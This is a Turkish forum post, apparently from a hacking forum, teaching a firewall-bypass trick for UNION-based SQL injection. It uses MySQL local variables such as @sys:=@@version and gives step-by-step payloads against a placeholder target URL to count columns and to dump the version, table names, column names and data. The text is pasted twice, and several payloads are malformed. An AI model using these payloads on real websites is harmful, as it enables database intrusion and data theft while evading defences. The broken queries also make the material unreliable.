Merhabalar,
Geçen yıl ve bu yıl çok kullanılan bir injection yöntemini anlatmak istiyorum...
Local Variable genellikle UNION Queryler de kullanılan bir yöntemdir, amaç karşı sistemi şaşırtmak ve firewallı atlatmak için kullanılır.
Aslında bakarsak,
SELECT 1,@@version-- ile SELECT @sys:=@@version,@sys arasında fark yok.
Yöntem genellikle Different SELECT hatalarında da bypass edilebiliyor.
Bir anda yazmaya başladığım için resimli birşey olmayacak hakkınızı helal edin.
Diyelim ki;
Bir hedefimiz var bu hedefde SQL Injection tespiti yaptınız, güzel güzel çektiniz. Order, selectler havalar da. Ama ne yaptı iseniz @@version, @@databaseden sonrası yani concat() from gibi kısımlar da birşeyler ters gidiyor.
Hedefimiz: www.target.com/index.php?id=1337
ORDER BY & GROUP BY ile kolon sayımızı bulduk.
UNION SELECT ile kolon sayılarımızı client tarafına işlettik yani htmle kayıt ettik.
www.target.com/index.php?id=1337 ORDER BY 1-- (Hata yok.)
www.target.com/index.php?id=1337 ORDER BY 10-- (Hata var.)
www.target.com/index.php?id=1337 ORDER BY 6-- (Hata yok.)
Kolonumuz 6
www.target.com/index.php?id=-1337 UNION SELECT 1,2,3,4,5,6--
ile ekrana yansıyan sayılar diyelim ki 1, 4, 5.
Biz ekrana herhangi bir kolona değişkeni tanımlıcaz o değişkeni ekrana yansıyan her hangi bir kolona yansıtacaz. 2 üzerinden devam edelim.
www.target.com/index.php?id=1337 UNION SELECT 1,@sys:=@@version,3,4,@sys,5,6--
Karşınıza version bilgisi gelecektir.
Devam edelim.
www.target.com/index.php?id=1337 UNION SELECT 1,@sys:=concat(SELECT concat(table_name) FROM information_schema.tables where table_schema=database()),3,4,@sys,5,6--
Tablolarımızı listeleyecektir.
www.target.com/index.php?id=1337 UNION SELECT 1,@sys:=concat(SELECT concat(column_name) FROM information_schema.columns where table_name=table_namehex()),3,4,@sys,5,6-- Kolon bilgileri verir.
www.target.com/index.php?id=1337 UNION SELECT 1,@sys:=concat(SELECT concat(g00dby3,0x3a,0x3a,by3) FROM 1nj3t0rs),3,@t0x1c:=(0x1nj3ct0r by3 Kings),concat(@m,@sys),5,6--
Umarım yardımcı olabilmişimdir...
Bu yöntemi bende başka bir yerden öğrenmiştim.
Alıntıdır.
Geçen yıl ve bu yıl çok kullanılan bir injection yöntemini anlatmak istiyorum...
Local Variable genellikle UNION Queryler de kullanılan bir yöntemdir, amaç karşı sistemi şaşırtmak ve firewallı atlatmak için kullanılır.
Aslında bakarsak,
SELECT 1,@@version-- ile SELECT @sys:=@@version,@sys arasında fark yok.
Yöntem genellikle Different SELECT hatalarında da bypass edilebiliyor.
Bir anda yazmaya başladığım için resimli birşey olmayacak hakkınızı helal edin.
Diyelim ki;
Bir hedefimiz var bu hedefde SQL Injection tespiti yaptınız, güzel güzel çektiniz. Order, selectler havalar da. Ama ne yaptı iseniz @@version, @@databaseden sonrası yani concat() from gibi kısımlar da birşeyler ters gidiyor.
Hedefimiz: www.target.com/index.php?id=1337
ORDER BY & GROUP BY ile kolon sayımızı bulduk.
UNION SELECT ile kolon sayılarımızı client tarafına işlettik yani htmle kayıt ettik.
www.target.com/index.php?id=1337 ORDER BY 1-- (Hata yok.)
www.target.com/index.php?id=1337 ORDER BY 10-- (Hata var.)
www.target.com/index.php?id=1337 ORDER BY 6-- (Hata yok.)
Kolonumuz 6
www.target.com/index.php?id=-1337 UNION SELECT 1,2,3,4,5,6--
ile ekrana yansıyan sayılar diyelim ki 1, 4, 5.
Biz ekrana herhangi bir kolona değişkeni tanımlıcaz o değişkeni ekrana yansıyan her hangi bir kolona yansıtacaz. 2 üzerinden devam edelim.
www.target.com/index.php?id=1337 UNION SELECT 1,@sys:=@@version,3,4,@sys,5,6--
Karşınıza version bilgisi gelecektir.
Devam edelim.
www.target.com/index.php?id=1337 UNION SELECT 1,@sys:=concat(SELECT concat(table_name) FROM information_schema.tables where table_schema=database()),3,4,@sys,5,6--
Tablolarımızı listeleyecektir.
www.target.com/index.php?id=1337 UNION SELECT 1,@sys:=concat(SELECT concat(column_name) FROM information_schema.columns where table_name=table_namehex()),3,4,@sys,5,6-- Kolon bilgileri verir.
www.target.com/index.php?id=1337 UNION SELECT 1,@sys:=concat(SELECT concat(g00dby3,0x3a,0x3a,by3) FROM 1nj3t0rs),3,@t0x1c:=(0x1nj3ct0r by3 Kings),concat(@m,@sys),5,6--
Umarım yardımcı olabilmişimdir...
Bu yöntemi bende başka bir yerden öğrenmiştim.
Alıntıdır.
